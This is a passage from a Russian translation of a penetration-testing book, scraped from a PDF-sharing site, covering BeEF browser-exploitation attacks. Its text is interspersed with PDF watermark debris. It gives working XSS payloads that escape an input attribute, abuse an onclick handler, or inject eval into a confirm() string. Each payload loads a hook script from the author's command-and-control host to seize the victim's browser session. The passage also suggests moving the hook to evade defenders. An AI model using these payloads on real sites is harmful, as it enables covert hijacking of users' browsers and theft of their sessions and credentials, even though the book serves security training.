Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

BeEF  227 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

В левой части пользовательский интерфейс отображает историю перехва-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ченных браузеров или жертв как онлайн, так и офлайн, сгруппированных по исходному домену. Жертву в онлайне можно сразу же эксплуатировать, по- сколькуловушкаактивновыполняетобратныйвызовккомандно-контрольно- мусерверу.Клиенты,которыесейчасневсети,нерегистрировалисьнасервере, но по-прежнему могут эксплуатироваться, когда жертва снова выходит в сеть. Это типично для жертв, атакованных через хранимый XSS, веб-приложения с бэкдорами или расширения браузера.

В правой части истории пойманных браузеров вы найдете стартовую страницу (или Getting Started), журналы командно-контрольного сервера (Logs) и вкладку элемента управления выбранной жертвы (Current Browser), которая представляет особый интерес и включает в себя дополнительные вкладки для сведений, журналов и модулей или команд.

На вкладке Commands можно выбрать модуль для запуска, ввести любые обязательные параметры в крайнем столбце справа,прежде чем нажать кнопкуExecute (Выполнить),инаблюдатьисториювыполнениямодулявцентральном столбце.

Доступных модулей много, и некоторые работают лучше, чем другие. Эффективность выбранного вами модуля (команды) действительно зависит от версии браузера, жертвы и от того, насколько они технически подкованы. В следующих разделах рассмотрим более успешные модули атаки в попытке скомпрометировать объект атаки или получить учетные записи.

Перехват

Посколькукомандно-контрольныйсерверBeEFработаетвоблаке,мыпредо­ ставили доступ к двум важным URL-адресам:

интерфейс администратора – https://c2.spider.ml/ui/panel;сценарий перехвата – https://c2.spider.ml/hook.js.

Оба URL-адреса заблокированы параметрами beef.restrictions.* в файле конфигурации. Позаботьтесь об использовании соответствующих диапазонов сети для перехвата и ограничений интерфейса администратора.

Файл hook.js, по сути, представляет собой вредоносную программу, которую мы поместим в браузер жертвы, чтобы получить полный контроль над сеансом­ .Этодовольнобольшойкусоккода,иеголучшевсегодоставлятьввиде внешнего сценария (например, размещенного на нашем командно-контроль- ном сервере), но это не обязательно. Можно скопировать и вставить весь код ловушки в окне консоли браузера, если захотим. Его много, но он совместим с различными браузерами.

Если пытаемся спрятаться отСиней команды,возможно,будетлучше переместить этот файл в менее заметное место, чем c2.spider.ml/hook.js, но

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 228  Глава 9.Практические атаки на стороне клиента

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

в данной главе будем осуществлять перехват жертв с помощью этого URL-

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

адреса.

Как я упоминал ранее, когда у нас есть XSS-уязвимость, мы можем создать полезную нагрузку, чтобы использовать новый тег <script>, который будет перехватывать клиента с помощью полезной нагрузки BeEF. В некоторых ситуациях может потребоваться немного больше творчества, чтобы заставить JavaScript выполнять наш код, но конечной целью является вставка полезной нагрузки,такой как следующая:

<script async src=https://c2.spider.ml/hook.js></script>

В распространенной ситуации, когда точка отражения (также известная как приемник) находится внутри HTML-тега, у нас есть несколько вариантов:

исключить уязвимый HTML-тег и открыть новый тег <script>, содержащий код ловушки;

настроить обработчик событий, который будет скачивать и выполнять код ловушки, когда происходит событие, например когда загружается страница или пользователь кликает на элемент.

Первый вариант прост. Мы можем закрыть свойство value двойными кавычками, а элемент input – угловой скобкой, за которой следует наш вредоносный тег <script>.

<input type="text" name="qs" id="qs" value=""><script async src=https://c2.spider.ml/hook.js></script><span id="">

Полученный HTML-код, после того как вредонос будет отражен обратно, автоматически скачает и выполнит код ловушки, предоставляя нам доступ к сеансу просмотра. Ключевое слово async гарантирует, что ловушка скачивается асинхронно и не замедляет загрузку страницы,таким образом подсказав жертве,что что-то идет не так.

Незавершенный тег <span> в конце гарантирует, что оставшаяся часть исходного HTML-кода не будетотображаться на странице,что придаетему более чистый вид.

Если нужно использовать событие для выполнения своего кода, можем настроить обработчик, создав соответствующее свойство on[event] в пораженном HTML-теге. Например, если нужно, чтобы ловушка сработала, когда пользователь кликает по пораженному элементу, можно использовать свойство onclick тега <input>, которое позволяет выполнять произвольный код:

<input type="text" name="qs" id="qs" value="" onclick="alert(document. cookie)" x="">

В предыдущем примере появится окно оповещения с текущими куки-фай- лами, что, как я уже говорил, отлично подходит для демонстрации возможности, но не очень полезно при атаке.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

BeEF  229 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

МожноиспользоватьDOMиJavaScriptдлясозданияновогоэлементаscript,

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

указать его в коде ловушки и добавить в тег <head>.

Благодаря гибкости JavaScript существует миллион и один способ сделать это, но наш код довольно прост.

var hook = document.createElement('script'); hook.src = 'https://c2.spider.ml/hook.js'; document.head.append(hook);

Перваястрокасоздаетпустойобъект,обозначающийтег<script>.Какивслучае со свойством тега src=, в JavaScript можно указать исходному коду сценария на код ловушки. В данный момент фактический код не загружается и не выполняется. Мы создали безобидный DOM-объект. Чтобы использовать его, можно применить функцию append и добавить его в document.head, то есть мы создаем тег <script> в теге <head>.Последняя строка делает именно это,и браузер немедленно и беззвучно скачивает код ловушки и выполняет его.

Наша полезная нагрузка будет выглядеть примерно так:

<input type="text" name="qs" id="qs" value="" var hook = document. createElement('script');hook.src='https://c2.spider.ml/hook.js';

document.head.append(hook);" x="">

И снова используем указанное в конце свойство x =", чтобы убедиться, что никаких странностей,связанных с синтаксическим анализом,нет,и код может быть выполнен чисто.

Еще один распространенный приемник XSS-уязвимостей находится непосредственно в коде JavaScript, где-то на самой странице.

<script>

sure = confirm("Hello [sink], are you sure you wish to logout?"); if (sure) {

document.location = "/logout";

}

</script>

В предыдущем примере сервер отразит контролируемый пользователем текст внутри строкового параметра confirm(). Чтобы воспользоваться этим, можно повторно использовать код для манипуляции DOM, который мы написали ранее, и просто адаптировать его для работы внутри строки, переданной другой функции. Это ни в коем случае не является единственным способом добиться выполнения кода, но это только начало.

С помощью JavaScript можем соединять строки и другие объекты,используя оператор +.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 230  Глава 9.Практические атаки на стороне клиента

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

alert("One plus one is " +

prompt("1 + 1 = ") +

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

"!");

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Функция prompt() возвращаетлюбое строковое значение,которое мы передаем ей, а функция alert() соединяет строки, перед тем как они вернутся к пользователю. С помощью JavaScript можно делать разные странные вещи, но важно отметить, что функция prompt() выполнена. Если у нас есть контроль над тем, что объединено в строку, мы можем выполнить произвольный код

JavaScript.

В предыдущем примере кода вместо возврата нашего имени пользователя заставим приложение вернуть конкатенацию строк, в результате чего будет выполнен код вредоноса.

<script>

sure = confirm("Hello " + eval("var hook = document. createElement('script');hook.src='xxx.xxx';document.head. append(hook);") + ", are you sure you wish to logout?");

if (sure) {

document.location = "/logout";

}

</script>

Наснеособоинтересуетконечныйрезультатконкатенации.Фактическиметод eval не возвращает ничего значимого для отображения. Что нас волнует, так это выполнение данной функции, что, в свою очередь, приведет к выполнению кода нашей ловушки.

Если у вас зоркий глаз,то вы заметите, что у этой инъекции есть небольшая проблема. Если пользователь нажимает кнопку ОК в диалоговом окне подтверждения,для переменной sure будетустановлено значение true и пользователь уйдет с этой страницы,тем самым сводя на нетдействия ловушки.

Чтобыобойтиэтупроблему,нужно«завершить»сценарийиконтролировать ход его выполнения, чтобы убедиться, что страница останется открытой достаточно долго, чтобы мы могли провести второй этап атаки. Разумно было бы исключить функцию confirm, использовать метод eval и сразу после этого установитьдляпеременнойsure значениеfalse.Этобудетгарантировать,что пользователь не уйдет со страницы, если нажмет кнопку OK, поскольку следующее условие if всегда будет оцениваться как ложное.

Нужно слегка изменить наш вредоносный код.

"); eval("var hook = document.createElement('script');hook. src='https://c2.spider.ml/hook.js';document.head.append(hook);"); sure

=false; //

Врезультате унас естьвалидный код,который не позволитоператору if по-

лучитьзначение true и изменитьместоположениедокумента.Мы используем